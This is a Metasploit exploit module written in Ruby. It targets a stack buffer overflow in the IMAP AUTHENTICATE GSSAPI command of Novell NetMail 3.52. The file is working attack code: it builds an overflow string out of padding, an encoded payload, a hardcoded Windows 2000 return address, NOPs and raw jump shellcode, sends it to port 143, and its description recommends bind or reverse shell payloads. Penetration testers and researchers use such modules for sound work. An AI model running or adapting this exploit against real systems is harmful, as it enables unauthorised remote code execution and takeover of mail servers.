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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Novell NetMail IMAP AUTHENTICATE Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP AUTHENTICATE
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        GSSAPI command. By sending an overly long string, an attacker can overwrite the
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        buffer and control program execution. Using the PAYLOAD of windows/shell_bind_tcp
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        or windows/shell_reverse_tcp allows for the most reliable results.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'OSVDB', '55175' ]
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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          'AllowWin32SEH' => true
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        },
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      'Payload'        =>
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        {
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          'Space'    => 850,
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          'BadChars' => "\x00\x20\x2c\x3a\x40",
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          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 } ],
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        ],
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      'DisclosureDate' => '2007-01-07',
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      'DefaultTarget'  => 0))
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    register_options( [ Opt::RPORT(143) ])
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  end
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  def exploit
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    connect
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    sock.get_once
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    jmp =  "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"
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    jmp << "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"
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    jmp << "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b"
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    sploit  =  "A001 AUTHENTICATE GSSAPI\r\n"
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    sploit  << rand_text_alpha_upper(1258) + payload.encoded + "\xeb\x06"
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    sploit  << rand_text_alpha_upper(2) + [target.ret].pack('V')
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    sploit  << make_nops(8) + jmp + rand_text_alpha_upper(700)
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    print_status("Trying target #{target.name}...")
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    sock.put(sploit + "\r\n" + "A002 LOGOUT\r\n")
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    handler
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    disconnect
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  end
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end
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